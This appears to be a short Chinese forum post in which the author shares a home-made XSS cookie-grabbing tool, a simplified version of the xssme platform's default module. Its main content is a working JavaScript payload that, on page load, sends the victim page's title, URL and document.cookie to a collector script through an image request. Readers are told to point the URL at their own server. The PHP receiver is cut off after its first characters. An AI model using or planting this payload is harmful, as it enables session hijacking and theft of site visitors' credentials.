怎么说呢,我也用过xssme,感觉的确不错。还可以共享。但是我感觉就如果你自己一个人想使用,那些功能未免太过冗余。所以我写了个相当于xssme中默认模块的一个工具给大家看下。以生成文件为保存方式。大牛勿喷。
window.onload = function () {
var url = "http://127.0.0.1/test/js/jsbase/xss.php";
(function () {
(new Image()).src = url + "?title="+encodeURI(document.title) + "&url=" + encodeURI(document.URL) + "&cookie=" + encodeURI(document.cookie);
})();
}
这是js 记得你测试的时候修改一下url变量的内容即可。
<?php
$text &#